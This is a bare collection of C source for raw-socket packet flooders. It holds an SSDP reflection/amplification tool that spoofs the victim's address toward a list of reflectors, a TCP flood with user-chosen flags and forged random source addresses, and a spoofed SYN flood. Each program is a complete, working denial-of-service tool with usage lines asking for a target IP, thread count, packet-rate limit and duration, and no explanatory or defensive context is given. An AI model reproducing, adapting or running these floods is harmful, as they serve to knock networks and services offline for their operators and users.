MAX_PACKET_SIZE); setup_ip_header(iph); setup_udp_header(udph); udph->source = htons(rand() % 65535 - 1026); iph->saddr = sin.sin_addr.s_addr; iph->daddr = list_node->data.sin_addr.s_addr; iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1); int tmp = 1; const int *val = &tmp; if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){ fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n"); exit(-1); } init_rand(time(NULL)); register unsigned int i; i = 0; while(1){ sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data)); list_node = list_node->next; iph->daddr = list_node->data.sin_addr.s_addr; iph->id = htonl(rand_cmwc() & 0xFFFFFFFF); iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1); pps++; if(i >= limiter) { i = 0; usleep(sleeptime); } i++; } } int main(int argc, char *argv[ ]) { if(argc < 6){ fprintf(stderr, "Invalid parameters!\n"); fprintf(stdout, "Usage: %s <target IP> <target port> <reflection file> <threads> <pps limiter, -1 for no limit> <time>\n", argv[0]); exit(-1); } srand(time(NULL)); int i = 0; head = NULL; fprintf(stdout, "Setting up sockets...\n"); int max_len = 128; char *buffer = (char *) malloc(max_len); buffer = memset(buffer, 0x00, max_len); int num_threads = atoi(argv[4]); int maxpps = atoi(argv[5]); limiter = 0; pps = 0; int multiplier = 20; FILE *list_fd = fopen(argv[3], "r"); while (fgets(buffer, max_len, list_fd) != NULL) { if ((buffer[strlen(buffer) - 1] == '\n') || (buffer[strlen(buffer) - 1] == '\r')) { buffer[strlen(buffer) - 1] = 0x00; if(head == NULL) { head = (struct list *)malloc(sizeof(struct list)); bzero(&head->data, sizeof(head->data)); head->data.sin_addr.s_addr=inet_addr(buffer); head->next = head; head->prev = head; } else { struct list *new_node = (struct list *)malloc(sizeof(struct list)); memset(new_node, 0x00, sizeof(struct list)); new_node->data.sin_addr.s_addr=inet_addr(buffer); new_node->prev = head; new_node->next = head->next; head->next = new_node; } i++; } else { continue; } } struct list *current = head->next; pthread_t thread[num_threads]; struct sockaddr_in sin; sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(argv[1]); struct thread_data td[num_threads]; for(i = 0;i<num_threads;i++){ td[i].thread_id = i; td[i].sin= sin; td[i].list_node = current; pthread_create( &thread[i], NULL, &flood, (void *) &td[i]); } fprintf(stdout, "Starting flood...\n"); for(i = 0;i<(atoi(argv[6])*multiplier);i++) { usleep((1000/multiplier)*1000); if((pps*multiplier) > maxpps) { if(1 > limiter) { sleeptime+=100; } else { limiter--; } } else { limiter++; if(sleeptime > 25) { sleeptime-=25; } else { sleeptime = 0; } } pps = 0; } return 0; } |
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#include <time.h> #include <pthread.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <netinet/ip.h> #include <netinet/udp.h> #include <arpa/inet.h> #define MAX_PACKET_SIZE 8192 #define PHI 0x9e3779b9 static uint32_t Q[4096], c = 362436; struct list { struct sockaddr_in data; struct list *next; struct list *prev; }; struct list *head; volatile int tehport; volatile int limiter; volatile unsigned int pps; volatile unsigned int sleeptime = 100; struct thread_data { int thread_id; struct list *list_node; struct sockaddr_in sin; }; void init_rand(uint32_t x) { int i; Q[0] = x; Q[1] = x + PHI; Q[2] = x + PHI + PHI; for (i = 3; i < 4096; i++) { Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; } } uint32_t rand_cmwc(void) { uint64_t t, a = 18782LL; static uint32_t i = 4095; uint32_t x, r = 0xfffffffe; i = (i + 1) & 4095; t = a * Q[i] + c; c = (t >> 32); x = t + c; if (x < c) { x++; c++; } return (Q[i] = r - x); } unsigned short csum(unsigned short *buf, int nwords) { unsigned long sum = 0; for (sum = 0; nwords > 0; nwords--) sum += *buf++; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return (unsigned short)(~sum); } void setup_ip_header(struct iphdr *iph) { iph->ihl = 5; iph->version = 4; iph->tos = 0; iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 90; iph->id = htonl(54321); iph->frag_off = 0; iph->ttl = MAXTTL; iph->protocol = IPPROTO_UDP; iph->check = 0; iph->saddr = inet_addr("192.168.3.100"); } void setup_udp_header(struct udphdr *udph) { udph->source = htons(5678); udph->dest = htons(1900); udph->check = 0; strcpy((void *)udph + sizeof(struct udphdr), "M-SEARCH * " "HTTP/" "1.1\r\nHost:239.255.255.250:1900\r\nST:ssdp:all\r\nMan:\"ssdp:" "discover\"\r\nMX:3\r\n\r\n"); udph->len = htons(sizeof(struct udphdr) + 90); } void *flood(void *par1) { struct thread_data *td = (struct thread_data *)par1; char datagram[MAX_PACKET_SIZE]; struct iphdr *iph = (struct iphdr *)datagram; struct udphdr *udph = (/*u_int8_t*/ void *)iph + sizeof(struct iphdr); struct sockaddr_in sin = td->sin; struct list *list_node = td->list_node; int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); if (s < 0) { fprintf(stderr, "Could not open raw socket.\n"); exit(-1); } init_rand(time(NULL)); memset(datagram, 0, MAX_PACKET_SIZE); setup_ip_header(iph); setup_udp_header(udph); udph->source = htons(rand() % 65535 - 1026); iph->saddr = sin.sin_addr.s_addr; iph->daddr = list_node->data.sin_addr.s_addr; iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1); int tmp = 1; const int *val = &tmp; if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(tmp)) < 0) { fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n"); exit(-1); } init_rand(time(NULL)); register unsigned int i; i = 0; while (1) { sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *)&list_node->data, sizeof(list_node->data)); list_node = list_node->next; iph->daddr = list_node->data.sin_addr.s_addr; iph->id = htonl(rand_cmwc() & 0xFFFFFFFF); iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1); pps++; if (i >= limiter) { i = 0; usleep(sleeptime); } i++; } } int main(int argc, char *argv[]) { if (argc < 6) { fprintf(stderr, "Invalid parameters!\n"); fprintf(stdout, "Usage: %s <target IP> <port> <reflection file> <threads> <pps " "limiter, -1 for no limit> <time>\n", argv[0]); exit(-1); } srand(time(NULL)); int i = 0; head = NULL; fprintf(stdout, "Setting up sockets...\n"); int max_len = 128; char *buffer = (char *)malloc(max_len); buffer = memset(buffer, 0x00, max_len); int num_threads = atoi(argv[4]); int maxpps = atoi(argv[5]); limiter = 0; pps = 0; int multiplier = 20; FILE *list_fd = fopen(argv[3], "r"); while (fgets(buffer, max_len, list_fd) != NULL) { if ((buffer[strlen(buffer) - 1] == '\n') || (buffer[strlen(buffer) - 1] == '\r')) { buffer[strlen(buffer) - 1] = 0x00; if (head == NULL) { head = (struct list *)malloc(sizeof(struct list)); bzero(&head->data, sizeof(head->data)); head->data.sin_addr.s_addr = inet_addr(buffer); head->next = head; head->prev = head; } else { struct list *new_node = (struct list *)malloc(sizeof(struct list)); memset(new_node, 0x00, sizeof(struct list)); new_node->data.sin_addr.s_addr = inet_addr(buffer); new_node->prev = head; new_node->next = head->next; head->next = new_node; } i++; } else { continue; } } struct list *current = head->next; pthread_t thread[num_threads]; struct sockaddr_in sin; sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(argv[1]); struct thread_data td[num_threads]; for (i = 0; i < num_threads; i++) { td[i].thread_id = i; td[i].sin = sin; td[i].list_node = current; pthread_create(&thread[i], NULL, &flood, (void *)&td[i]); } fprintf(stdout, "Starting flood...\n"); for (i = 0; i < (atoi(argv[6]) * multiplier); i++) { usleep((1000 / multiplier) * 1000); if ((pps * multiplier) > maxpps) { if (1 > limiter) { sleeptime += 100; } else { limiter--; } } else { limiter++; if (sleeptime > 25) { sleeptime -= 25; } else { sleeptime = 0; } } pps = 0; } return 0; } |
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#include <unistd.h> #include <time.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <string.h> #include <stdlib.h> #include <stdio.h> #include <pthread.h> #include <netinet/tcp.h> #include <netinet/ip.h> #include <netinet/in.h> #include <netinet/if_ether.h> #include <netdb.h> #include <net/if.h> #include <arpa/inet.h> #define MAX_PACKET_SIZE 4096 #define PHI 0x9e3779b9 static unsigned long int Q[4096], c = 362436; static unsigned int floodport; volatile int limiter; volatile unsigned int pps; volatile unsigned int sleeptime = 100; int ack, syn, psh, fin, rst, urg, ptr, res2, seq; void init_rand(unsigned long int x) { int i; Q[0] = x; Q[1] = x + PHI; Q[2] = x + PHI + PHI; for (i = 3; i < 4096; i++) { Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; } } unsigned long int rand_cmwc(void) { unsigned long long int t, a = 18782LL; static unsigned long int i = 4095; unsigned long int x, r = 0xfffffffe; i = (i + 1) & 4095; t = a * Q[i] + c; c = (t >> 32); x = t + c; if (x < c) { x++; c++; } return (Q[i] = r - x); } unsigned short csum(unsigned short *buf, int count) { register unsigned long sum = 0; while (count > 1) { sum += *buf++; count -= 2; } if (count > 0) { sum += *(unsigned char *)buf; } while (sum >> 16) { sum = (sum & 0xffff) + (sum >> 16); } return (unsigned short)(~sum); } unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) { struct tcp_pseudo { unsigned long src_addr; unsigned long dst_addr; unsigned char zero; unsigned char proto; unsigned short length; } pseudohead; unsigned short total_len = iph->tot_len; pseudohead.src_addr = iph->saddr; pseudohead.dst_addr = iph->daddr; pseudohead.zero = 0; pseudohead.proto = IPPROTO_TCP; pseudohead.length = htons(sizeof(struct tcphdr)); int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr); unsigned short *tcp = malloc(totaltcp_len); memcpy((unsigned char *)tcp, &pseudohead, sizeof(struct tcp_pseudo)); memcpy((unsigned char *)tcp + sizeof(struct tcp_pseudo), (unsigned char *)tcph, sizeof(struct tcphdr)); unsigned short output = csum(tcp, totaltcp_len); free(tcp); return output; } void setup_ip_header(struct iphdr *iph) { iph->ihl = 5; iph->version = 4; iph->tos = 0; iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr); iph->id = htonl(rand() % 54321); iph->frag_off = 0; iph->ttl = MAXTTL; iph->protocol = 6; iph->check = 0; iph->saddr = inet_addr("8.8.8.8"); } void setup_tcp_header(struct tcphdr *tcph) { tcph->source = htons(rand() % 65535); tcph->seq = rand(); tcph->ack = ack; tcph->ack_seq = seq; tcph->psh = psh; tcph->fin = fin; tcph->rst = rst; tcph->res2 = res2; tcph->doff = 5; tcph->syn = syn; tcph->urg = urg; tcph->urg_ptr = ptr; tcph->window = rand(); tcph->check = 0; } void *flood(void *par1) { char *td = (char *)par1; char datagram[MAX_PACKET_SIZE]; struct iphdr *iph = (struct iphdr *)datagram; struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr); struct sockaddr_in sin; sin.sin_family = AF_INET; sin.sin_port = htons(floodport); sin.sin_addr.s_addr = inet_addr(td); int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); if (s < 0) { fprintf(stderr, "Could not open raw socket.\n"); exit(-1); } memset(datagram, 0, MAX_PACKET_SIZE); setup_ip_header(iph); setup_tcp_header(tcph); tcph->dest = htons(floodport); iph->daddr = sin.sin_addr.s_addr; iph->check = csum((unsigned short *)datagram, iph->tot_len); int tmp = 1; const int *val = &tmp; if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(tmp)) < 0) { fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n"); exit(-1); } init_rand(time(NULL)); register unsigned int i; i = 0; while (1) { sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *)&sin, sizeof(sin)); iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF); iph->id = htonl(rand_cmwc() & 0xFFFFFFFF); iph->check = csum((unsigned short *)datagram, iph->tot_len); tcph->seq = rand_cmwc() & 0xFFFF; tcph->source = htons(rand_cmwc() & 0xFFFF); tcph->check = 0; tcph->check = tcpcsum(iph, tcph); pps++; if (i >= limiter) { i = 0; usleep(sleeptime); } i++; } } int main(int argc, char *argv[]) { if (argc < 7) { fprintf(stderr, "Invalid parameters!\n"); fprintf(stdout, "Usage: %s <target IP> <port> <threads> <pps limiter, -1 for no " "limit> <time> <ack,syn,psh,fin,rst,urg,ptr,res2,seq>\n", argv[0]); exit(-1); } fprintf(stdout, "Opening sockets...\n"); int num_threads = atoi(argv[3]); floodport = atoi(argv[2]); int maxpps = atoi(argv[4]); limiter = 0; pps = 0; pthread_t thread[num_threads]; if (strstr(argv[6], "ack")) ack = 1; else ack = 0; if (strstr(argv[6], "seq")) seq = 1; else seq = 0; if (strstr(argv[6], "psh")) psh = 1; else psh = 0; if (strstr(argv[6], "fin")) fin = 1; else fin = 0; if (strstr(argv[6], "rst")) rst = 1; else rst = 0; if (strstr(argv[6], "res2")) res2 = 1; else res2 = 0; if (strstr(argv[6], "syn")) syn = 1; else syn = 0; if (strstr(argv[6], "urg")) urg = 1; else urg = 0; if (strstr(argv[6], "ptr")) ptr = 1; else ptr = 0; int multiplier = 20; int i; for (i = 0; i < num_threads; i++) { pthread_create(&thread[i], NULL, &flood, (void *)argv[1]); } fprintf(stdout, "Sending attack...\n"); for (i = 0; i < (atoi(argv[5]) * multiplier); i++) { usleep((1000 / multiplier) * 1000); if ((pps * multiplier) > maxpps) { if (1 > limiter) { sleeptime += 100; } else { limiter--; } } else { limiter++; if (sleeptime > 25) { sleeptime -= 25; } else { sleeptime = 0; } } pps = 0; } return 0; } |
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#include <unistd.h> #include <time.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <string.h> #include <stdlib.h> #include <stdio.h> #include <pthread.h> #include <netinet/tcp.h> #include <netinet/ip.h> #include <netinet/in.h> #include <netinet/if_ether.h> #include <netdb.h> #include <net/if.h> #include <arpa/inet.h> #define MAX_PACKET_SIZE 4096 #define PHI 0x9e3779b9 static unsigned long int Q[4096], c = 362436; volatile int limiter; volatile unsigned int pps; volatile unsigned int sleeptime = 100; void init_rand(unsigned long int x) { int i; Q[0] = x; Q[1] = x + PHI; Q[2] = x + PHI + PHI; for (i = 3; i < 4096; i++) { Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; } } unsigned long int rand_cmwc(void) { unsigned long long int t, a = 18782LL; static unsigned long int i = 4095; unsigned long int x, r = 0xfffffffe; i = (i + 1) & 4095; t = a * Q[i] + c; c = (t >> 32); x = t + c; if (x < c) { x++; c++; } return (Q[i] = r - x); } unsigned short csum(unsigned short *buf, int count) { register unsigned long sum = 0; while (count > 1) { sum += *buf++; count -= 2; } if (count > 0) { sum += *(unsigned char *)buf; } while (sum >> 16) { sum = (sum & 0xffff) + (sum >> 16); } return (unsigned short)(~sum); } unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) { struct tcp_pseudo { unsigned long src_addr; unsigned long dst_addr; unsigned char zero; unsigned char proto; unsigned short length; } pseudohead; unsigned short total_len = iph->tot_len; pseudohead.src_addr = iph->saddr; pseudohead.dst_addr = iph->daddr; pseudohead.zero = 0; pseudohead.proto = IPPROTO_TCP; pseudohead.length = htons(sizeof(struct tcphdr)); int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr); unsigned short *tcp = malloc(totaltcp_len); memcpy((unsigned char *)tcp, &pseudohead, sizeof(struct tcp_pseudo)); memcpy((unsigned char *)tcp + sizeof(struct tcp_pseudo), (unsigned char *)tcph, sizeof(struct tcphdr)); unsigned short output = csum(tcp, totaltcp_len); free(tcp); return output; } void setup_ip_header(struct iphdr *iph) { iph->ihl = 5; iph->version = 4; iph->tos = 0; iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr); iph->id = htonl(54321); iph->frag_off = 0; iph->ttl = MAXTTL; iph->protocol = 6; iph->check = 0; iph->saddr = inet_addr("192.168.3.100"); } void setup_tcp_header(struct tcphdr *tcph) { tcph->source = htons(5678); tcph->seq = rand(); tcph->ack_seq = 1; tcph->res2 = 0; tcph->doff = 5; tcph->syn = 1; tcph->window = htons(65535); tcph->check = 0; tcph->urg_ptr = 0; } void *flood(void *par1) { char *td = (char *)par1; char datagram[MAX_PACKET_SIZE]; struct iphdr *iph = (struct iphdr *)datagram; struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr); struct sockaddr_in sin; sin.sin_family = AF_INET; sin.sin_port = htons(rand() % 20480); sin.sin_addr.s_addr = inet_addr(td); int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); if (s < 0) { fprintf(stderr, ":: cant open raw socket. got root?\n"); exit(-1); } memset(datagram, 0, MAX_PACKET_SIZE); setup_ip_header(iph); setup_tcp_header(tcph); tcph->dest = htons(rand() % 20480); iph->daddr = sin.sin_addr.s_addr; iph->check = csum((unsigned short *)datagram, iph->tot_len); int tmp = 1; const int *val = &tmp; if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(tmp)) < 0) { fprintf(stderr, ":: motherfucking error.\n"); exit(-1); } init_rand(time(NULL)); register unsigned int i; i = 0; while (1) { sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *)&sin, sizeof(sin)); iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF); iph->id = htonl(rand_cmwc() & 0xFFFFFFFF); iph->check = csum((unsigned short *)datagram, iph->tot_len); tcph->seq = rand_cmwc() & 0xFFFF; tcph->source = htons(rand_cmwc() & 0xFFFF); tcph->check = 0; tcph->check = tcpcsum(iph, tcph); pps++; if (i >= limiter) { i = 0; usleep(sleeptime); } i++; } } int main(int argc, char *argv[]) { if (argc < 5) { fprintf(stderr, "Invalid parameters!\n"); fprintf(stdout, "Usage: %s <IP> <threads <throttle, -1 for no throttle> <time>\n", argv[0]); exit(-1); } int num_threads = atoi(argv[2]); int maxpps = atoi(argv[3]); limiter = 0; pps = 0; pthread_t thread[num_threads]; int multiplier = 20; int i; for (i = 0; i < num_threads; i++) { pthread_create(&thread[i], NULL, &flood, (void *)argv[1]); } fprintf(stdout, ":: sending all the packets..\n"); for (i = 0; i < (atoi(argv[4]) * multiplier); i++) { usleep((1000 / multiplier) * 1000); if ((pps * multiplier) > maxpps) { if (1 > limiter) { sleeptime += 100; } else { limiter--; } } else { limiter++; if (sleeptime > 25) { sleeptime -= 25; } else { sleeptime = 0; } } pps = 0; } return 0; } |